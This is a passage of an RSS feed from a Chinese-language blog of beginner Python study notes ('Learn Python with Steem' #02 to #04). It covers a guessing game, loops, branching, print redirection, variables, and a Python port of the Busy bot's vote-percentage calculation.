</span></span><span class="line"><span class="cl">            <span class="nb">print</span><span class="p">(</span><span class="s1">&#39;恭喜你猜对了!&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="k">break</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s1">&#39;Game Over!&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">break</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">你还剩7次机会
</span></span><span class="line"><span class="cl">请输入答案: 50
</span></span><span class="line"><span class="cl">太小了
</span></span><span class="line"><span class="cl">你还剩6次机会
</span></span><span class="line"><span class="cl">请输入答案: 80
</span></span><span class="line"><span class="cl">太大了
</span></span><span class="line"><span class="cl">你还剩5次机会
</span></span><span class="line"><span class="cl">请输入答案: 70
</span></span><span class="line"><span class="cl">太小了
</span></span><span class="line"><span class="cl">你还剩4次机会
</span></span><span class="line"><span class="cl">请输入答案: 75
</span></span><span class="line"><span class="cl">太小了
</span></span><span class="line"><span class="cl">你还剩3次机会
</span></span><span class="line"><span class="cl">请输入答案: 78
</span></span><span class="line"><span class="cl">太大了
</span></span><span class="line"><span class="cl">你还剩2次机会
</span></span><span class="line"><span class="cl">请输入答案: 76
</span></span><span class="line"><span class="cl">太小了
</span></span><span class="line"><span class="cl">你还剩1次机会
</span></span><span class="line"><span class="cl">请输入答案: 77
</span></span><span class="line"><span class="cl">恭喜你猜对了!
</span></span></code></pre></td></tr></table>
</div>
</div><h2 id="补充">补充</h2>
<h3 id="循环控制">循环控制</h3>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># break 跳出循环，终止循环</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">5</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">i</span> <span class="o">==</span> <span class="mi">3</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">break</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">i</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">0
</span></span><span class="line"><span class="cl">1
</span></span><span class="line"><span class="cl">2
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># continue 放弃本次循环，但不终止循环</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">5</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">i</span> <span class="o">==</span> <span class="mi">3</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">continue</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">i</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">0
</span></span><span class="line"><span class="cl">1
</span></span><span class="line"><span class="cl">2
</span></span><span class="line"><span class="cl">4
</span></span></code></pre></td></tr></table>
</div>
</div><h2 id="输出重定向">输出重定向</h2>
<p>打印99乘法表的时候查看了print()函数的参数：</p>
<blockquote>
<p>Docstring:<br>
print(value, &hellip;, sep=&rsquo; &lsquo;, end=&rsquo;\n&rsquo;, file=sys.stdout, flush=False)</p>
<p>Prints the values to a stream, or to sys.stdout by default.</p>
</blockquote>
<p>file=sys.stdout 这个参数没有用过，它默认把输出打印到屏幕（sys.stdout），应该也可以把输出重定向到其他地方，比如文件，<br>
试试看</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;K:\Workspace\python\Python-x-Steem-tutorial-master\Python-x-Steem-tutorial\hello.txt&#39;</span><span class="p">,</span> <span class="s1">&#39;w&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s1">&#39;Hello balabala!!&#39;</span><span class="p">,</span> <span class="n">file</span><span class="o">=</span><span class="n">f</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">f</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="o">%</span><span class="n">pycat</span> <span class="n">hello</span><span class="o">.</span><span class="n">txt</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>结果：<br>
<img loading="lazy" src="https://i.loli.net/2018/07/31/5b6054cfaca3e.jpg" alt="blob.jpg"  />
<br>
<img loading="lazy" src="https://i.loli.net/2018/07/31/5b6055162315c.jpg" alt="blob.jpg"  />
</p>
<hr>
<p>## 我的笔记：</p>
<ul>
<li><a href="https://busy.org/@yjcps/learn-python-with-steem-01">Learn Python with Steem #01 笔记</a></li>
<li><a href="https://busy.org/@yjcps/learnpythonwithsteem02-2ilwe1ti59">Learn Python with Steem #02 笔记</a></li>
<li><a href="https://busy.org/@yjcps/learnpythonwithsteem03-l5w15fszh9">Learn Python with Steem #03 笔记</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Learn Python with Steem #03 笔记</title>
      <link>https://hacperme.com/posts/notes/2018-07-31-learn-python-with-steem-03-note/</link>
      <pubDate>Tue, 31 Jul 2018 20:29:25 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/2018-07-31-learn-python-with-steem-03-note/</guid>
      <description>Learn Python with Steem #03 笔记 [toc] 划重点 分支结构 Python的分支结构用if、elif、else关键字来构造，可以是多分支，也可以嵌套。 代码块 Python中用</description>
      <content:encoded><![CDATA[<h1 id="learn-python-with-steem-03-笔记">Learn Python with Steem #03 笔记</h1>
<hr>
<p>[toc]</p>
<h2 id="划重点">划重点</h2>
<ul>
<li>
<p>分支结构 Python的分支结构用if、elif、else关键字来构造，可以是多分支，也可以嵌套。</p>
</li>
<li>
<p>代码块</p>
<p>Python中用缩进的方式构造代码块，程序的层次结构一目了然。</p>
</li>
<li>
<p>交互</p>
<p>使用input()函数输入数据，实现人与程序的交互。</p>
</li>
</ul>
<h2 id="编程练习">编程练习</h2>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 写作业</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="nb">float</span><span class="p">(</span><span class="nb">input</span><span class="p">(</span><span class="s1">&#39;Please enter the first number: &#39;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">b</span> <span class="o">=</span> <span class="nb">float</span><span class="p">(</span><span class="nb">input</span><span class="p">(</span><span class="s1">&#39;Please enter the second number: &#39;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">c</span> <span class="o">=</span> <span class="nb">float</span><span class="p">(</span><span class="nb">input</span><span class="p">(</span><span class="s1">&#39;Please enter the last number: &#39;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="n">a</span> <span class="o">&gt;</span> <span class="n">b</span> <span class="ow">and</span> <span class="n">a</span> <span class="o">&gt;</span> <span class="n">c</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">elif</span> <span class="n">b</span> <span class="o">&gt;</span> <span class="n">a</span> <span class="ow">and</span> <span class="n">b</span> <span class="o">&gt;</span> <span class="n">c</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">b</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">c</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">Please enter the first number: 55
</span></span><span class="line"><span class="cl">Please enter the second number: 99
</span></span><span class="line"><span class="cl">Please enter the last number: 22
</span></span><span class="line"><span class="cl">99.0
</span></span></code></pre></td></tr></table>
</div>
</div><p>计算busy机器人的点赞比例，这是它的js程序<a href="https://github.com/busyorg/busy-bot/blob/master/src/upvoter/index.js">https://github.com/busyorg/busy-bot/</a></p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">getAccounts</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">accounts</span> <span class="o">=</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">parse</span><span class="p">(</span><span class="nx">process</span><span class="p">.</span><span class="nx">env</span><span class="p">.</span><span class="nx">STEEM_ACCOUNTS</span> <span class="o">||</span> <span class="s1">&#39;[]&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nx">accounts</span><span class="p">.</span><span class="nx">map</span><span class="p">(</span><span class="nx">account</span> <span class="p">=&gt;</span> <span class="p">({</span>
</span></span><span class="line"><span class="cl">    <span class="nx">username</span><span class="o">:</span> <span class="nx">account</span><span class="p">.</span><span class="nx">username</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nx">wif</span><span class="o">:</span> <span class="nx">account</span><span class="p">.</span><span class="nx">wif</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nx">minVests</span><span class="o">:</span> <span class="nx">account</span><span class="p">.</span><span class="nx">minVests</span> <span class="o">||</span> <span class="mi">20000000</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nx">maxVests</span><span class="o">:</span> <span class="nx">account</span><span class="p">.</span><span class="nx">maxVests</span> <span class="o">||</span> <span class="mi">4000000000000</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nx">limitVests</span><span class="o">:</span> <span class="nx">account</span><span class="p">.</span><span class="nx">limitVests</span> <span class="o">||</span> <span class="mi">10000000000000</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nx">minPercent</span><span class="o">:</span> <span class="nx">account</span><span class="p">.</span><span class="nx">minPercent</span> <span class="o">||</span> <span class="mi">6</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nx">maxPercent</span><span class="o">:</span> <span class="nx">account</span><span class="p">.</span><span class="nx">maxPercent</span> <span class="o">||</span> <span class="mi">2500</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="p">}));</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kr">async</span> <span class="kd">function</span> <span class="nx">getVoteWeight</span><span class="p">(</span><span class="nx">username</span><span class="p">,</span> <span class="nx">account</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">mvests</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">fetch</span><span class="p">(</span><span class="sb">`https://steemdb.com/api/accounts?account[]=</span><span class="si">${</span><span class="nx">username</span><span class="si">}</span><span class="sb">`</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">.</span><span class="nx">then</span><span class="p">(</span><span class="nx">res</span> <span class="p">=&gt;</span> <span class="nx">res</span><span class="p">.</span><span class="nx">json</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">    <span class="p">.</span><span class="nx">then</span><span class="p">(</span><span class="nx">res</span> <span class="p">=&gt;</span> <span class="nx">res</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="nx">followers_mvest</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="nx">mvests</span> <span class="o">&lt;</span> <span class="nx">account</span><span class="p">.</span><span class="nx">minVests</span> <span class="o">||</span> <span class="nx">mvests</span> <span class="o">&gt;</span> <span class="nx">account</span><span class="p">.</span><span class="nx">limitVests</span><span class="p">)</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">percent</span> <span class="o">=</span> <span class="nb">parseInt</span><span class="p">((</span><span class="mi">10000</span> <span class="o">/</span> <span class="nx">account</span><span class="p">.</span><span class="nx">maxVests</span><span class="p">)</span> <span class="o">*</span> <span class="nx">mvests</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nb">Math</span><span class="p">.</span><span class="nx">min</span><span class="p">(</span><span class="nb">Math</span><span class="p">.</span><span class="nx">max</span><span class="p">(</span><span class="nx">percent</span><span class="p">,</span> <span class="nx">account</span><span class="p">.</span><span class="nx">minPercent</span><span class="p">),</span> <span class="nx">account</span><span class="p">.</span><span class="nx">maxPercent</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="o">&lt;</span><span class="n">br</span><span class="o">&gt;&lt;/</span><span class="n">br</span><span class="o">&gt;</span><span class="c1"># 这算是一个实际的例子吧，把它的计算部分抽出来，</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 用Python写一下，正好用到今天学的分支结构</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 查看followers_mvest</span>
</span></span><span class="line"><span class="cl"><span class="c1"># https://steemdb.com/api/accounts?account=yjcps</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">minVests</span> <span class="o">=</span> <span class="mi">20000000</span>
</span></span><span class="line"><span class="cl"><span class="c1"># maxVests = 4000000000000  # maxVests 不是这个值</span>
</span></span><span class="line"><span class="cl"><span class="n">maxVests</span> <span class="o">=</span> <span class="mi">5000000000000</span>
</span></span><span class="line"><span class="cl"><span class="n">limitVests</span> <span class="o">=</span> <span class="mi">10000000000000</span>
</span></span><span class="line"><span class="cl"><span class="n">minPercent</span> <span class="o">=</span> <span class="mi">6</span> <span class="o">/</span> <span class="mi">100</span>
</span></span><span class="line"><span class="cl"><span class="n">maxPercent</span> <span class="o">=</span> <span class="mi">2500</span> <span class="o">/</span> <span class="mi">100</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">followers_mvest</span> <span class="o">=</span> <span class="nb">float</span><span class="p">(</span><span class="nb">input</span><span class="p">(</span><span class="s1">&#39;Input your followers_mvest: &#39;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 93785952.40679602</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="n">followers_mvest</span> <span class="o">&lt;</span> <span class="n">minVests</span> <span class="ow">or</span> <span class="n">followers_mvest</span> <span class="o">&gt;</span> <span class="n">limitVests</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">percent</span> <span class="o">=</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl"><span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">percent</span> <span class="o">=</span> <span class="p">(</span><span class="mi">10000</span> <span class="o">/</span> <span class="n">maxVests</span><span class="p">)</span> <span class="o">*</span> <span class="n">followers_mvest</span>
</span></span><span class="line"><span class="cl">    <span class="n">percent</span> <span class="o">=</span> <span class="nb">min</span><span class="p">(</span><span class="nb">max</span><span class="p">(</span><span class="n">percent</span><span class="p">,</span> <span class="n">minPercent</span><span class="p">),</span> <span class="n">maxPercent</span><span class="p">)</span> <span class="o">/</span> <span class="mi">100</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s1">&#39;Your Busy vote percent: </span><span class="si">{:.2%}</span><span class="s1">&#39;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">percent</span><span class="p">))</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">Input your followers_mvest: 93785952.40679602
</span></span><span class="line"><span class="cl">Your Busy vote percent: 0.19%
</span></span></code></pre></td></tr></table>
</div>
</div><h2 id="补充">补充</h2>
<h3 id="比较运算符">比较运算符</h3>
<p>&lt;= &lt; &gt; &gt;= 小于等于，小于，大于，大于等于</p>
<p>== != 等于，不等于</p>
<h3 id="逻辑运算符">逻辑运算符</h3>
<p>not or and 非，或，与</p>
<h3 id="空语句-pass">空语句 pass</h3>
<p>pass 不是跳过某段程序的意思,它是是用来占位子的，为了让写的程序符合语法。</p>
<p>pass有两个用法用：<br>
一是什么都不做，写个pass：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="o">&lt;</span><span class="n">br</span><span class="o">&gt;&lt;/</span><span class="n">br</span><span class="o">&gt;</span><span class="k">if</span> <span class="kc">True</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">   <span class="k">pass</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>另一个是，还没想好程序的某个功能怎么写，写个pass占位子:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="o">&lt;</span><span class="n">br</span><span class="o">&gt;&lt;/</span><span class="n">br</span><span class="o">&gt;</span><span class="k">def</span> <span class="nf">fun</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="k">pass</span>
</span></span></code></pre></td></tr></table>
</div>
</div><hr>
<h2 id="我的笔记">我的笔记：</h2>
<ul>
<li><a href="https://busy.org/@yjcps/learn-python-with-steem-01">Learn Python with Steem #01 笔记</a></li>
<li><a href="https://busy.org/@yjcps/learnpythonwithsteem02-2ilwe1ti59">Learn Python with Steem #02 笔记</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Learn Python with Steem #02 笔记</title>
      <link>https://hacperme.com/posts/notes/2018-07-28-learn-python-with-steem-02-note/</link>
      <pubDate>Sat, 28 Jul 2018 13:50:11 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/2018-07-28-learn-python-with-steem-02-note/</guid>
      <description>Learn Python with Steem #02 笔记 [toc] 划重点 Python变量 变量像是一个专门用来装数据箱子，可以给它起名字，在用的时候好辨认，箱子的数据可以更改替换，所以叫“变”</description>
      <content:encoded><![CDATA[<h1 id="learn-python-with-steem-02-笔记">Learn Python with Steem #02 笔记</h1>
<hr>
<p>[toc]</p>
<h2 id="划重点">划重点</h2>
<ul>
<li>
<p>Python变量 变量像是一个专门用来装数据箱子，可以给它起名字，在用的时候好辨认，箱子的数据可以更改替换，所以叫“变”量。</p>
</li>
<li>
<p>数据类型 由于数据多种多样，所以Python有不同类别的箱子，有的用来装数值，有的用来装字符串，有的用来装图片，等等</p>
</li>
<li>
<p>变量的使用</p>
<p>变量是程序里的一个操作对象，如对变量赋值，对变量进行运算，做类型转换等等</p>
</li>
</ul>
<h2 id="编程练习">编程练习</h2>
<p><img loading="lazy" src="https://i.loli.net/2018/07/28/5b5bff6b72d51.jpg" alt="blob.jpg"  />
</p>
<p>哇，这么少，得多些写写文章才行啊。</p>
<p><img loading="lazy" src="https://i.loli.net/2018/07/28/5b5bffa1d02a4.jpg" alt="blob.jpg"  />
<br>
<img loading="lazy" src="https://i.loli.net/2018/07/28/5b5bffc62c0ba.jpg" alt="blob.jpg"  />
</p>
<p>人生如此艰难，还是多花点时间在正事上吧，一般人在steemit上写文章也赚不了几个钱。</p>
<h2 id="补充">补充</h2>
<h3 id="变量命名">变量命名</h3>
<p>给Python的变量命名有些规矩：</p>
<ul>
<li>变量名由字母、数字和下划线构成，不能以数字开头</li>
<li>区分大小写</li>
<li>不能是Python的关键字（这些名字已作他用）</li>
</ul>
<p><img loading="lazy" src="https://i.loli.net/2018/07/28/5b5c001f15883.jpg" alt="blob.jpg"  />
</p>
<p><img loading="lazy" src="https://i.loli.net/2018/07/28/5b5c004564e9f.jpg" alt="blob.jpg"  />
</p>
<h3 id="变量类型">变量类型</h3>
<p>Python的数据类型有很多，而且还可以自己定义一个数据类型，很灵活</p>
<p><img loading="lazy" src="https://i.loli.net/2018/07/28/5b5c008e84835.jpg" alt="blob.jpg"  />
</p>
<p><img loading="lazy" src="https://i.loli.net/2018/07/28/5b5c00adcc92c.jpg" alt="blob.jpg"  />
</p>
<h3 id="变量的使用">变量的使用</h3>
<p><img loading="lazy" src="https://ipfs.busy.org/ipfs/QmTjCzSyrV8sENQ4ZAnhZifpyL6hqjFxBxHDScoFSYwVvs" alt="图片.png"  />
</p>
<p><img loading="lazy" src="https://ipfs.busy.org/ipfs/QmerpDRg38btD1SvT7ufjN2CbEAF2mmn9Auw9jc6oYVbjD" alt="图片.png"  />
</p>
<p><img loading="lazy" src="https://ipfs.busy.org/ipfs/QmReWsv9muTYnNjGas8tNqP4FU4gT1M3kzsCiuuz39ffgc" alt="图片.png"  />
</p>
<p><img loading="lazy" src="https://i.loli.net/2018/07/28/5b5c013eb28da.jpg" alt="blob.jpg"  />
</p>
<p><img loading="lazy" src="https://i.loli.net/2018/07/28/5b5c015dcb77d.jpg" alt="blob.jpg"  />
</p>
<p><img loading="lazy" src="https://ipfs.busy.org/ipfs/QmcciN29zz9YjswgcaAGXAPwkT5TFT5wGf2FKebnkbKXWr" alt="图片.png"  />
</p>
<hr>
<p>我觉得Python的一个优点是将编程这样的“贵族”玩具平民化了，人人都可以上手写程序。Python是不是很好玩，一起来学吧。</p>
<hr>
<h2 id="我的笔记">我的笔记：</h2>
<ul>
<li><a href="https://busy.org/@yjcps/learn-python-with-steem-01">Learn Python with Steem #01 笔记</a></li>
</ul>
<!-- raw HTML omitted -->
<p><em>Posted from Wordpress with <a href="'https://wordpress.org/plugins/steempress/'">SteemPress</a></em></p>
<hr>
<!-- raw HTML omitted -->
]]></content:encoded>
    </item>
    <item>
      <title>Learn Python with Steem #01 笔记</title>
      <link>https://hacperme.com/posts/notes/2018-07-27-learn-python-with-steem-01-note/</link>
      <pubDate>Fri, 27 Jul 2018 00:23:13 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/2018-07-27-learn-python-with-steem-01-note/</guid>
      <description># Learn Python with Steem #01 笔记 [toc] 划重点 安装Python 在官网下载Python 3.6，由于Python 3.7是最近推出的，可能一些第三方的库还没跟上它的脚步</description>
      <content:encoded><![CDATA[<h2 id="-learn-python-with-steem-01-笔记"># Learn Python with Steem #01 笔记</h2>
<p>[toc]</p>
<h2 id="划重点">划重点</h2>
<ul>
<li>
<p>安装Python 在<a href="https://www.python.org/downloads/">官网</a>下载Python 3.6，由于Python 3.7是最近推出的，可能一些第三方的库还没跟上它的脚步，还不支持Python3.7。</p>
<p>安装的时候要添加到PATH环境变量，这样不管你在哪里使用Pytho电脑都找到得到Python啦。</p>
</li>
<li>
<p>安装Sublime</p>
<p>Sublime 不仅仅可以用来编程序，还可以编辑其他文本文件，是把利器。</p>
</li>
<li>
<p>编写第一个程序</p>
<p>万事开头难，但Python的开始学习曲线较平缓，开头不难，要坚持。</p>
</li>
</ul>
<h2 id="编程练习">编程练习</h2>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 语言是用来交流的工具，用Python打个招呼。</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s1">&#39;Hello Steemians with Python!&#39;</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">Hello Steemians with Python!
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
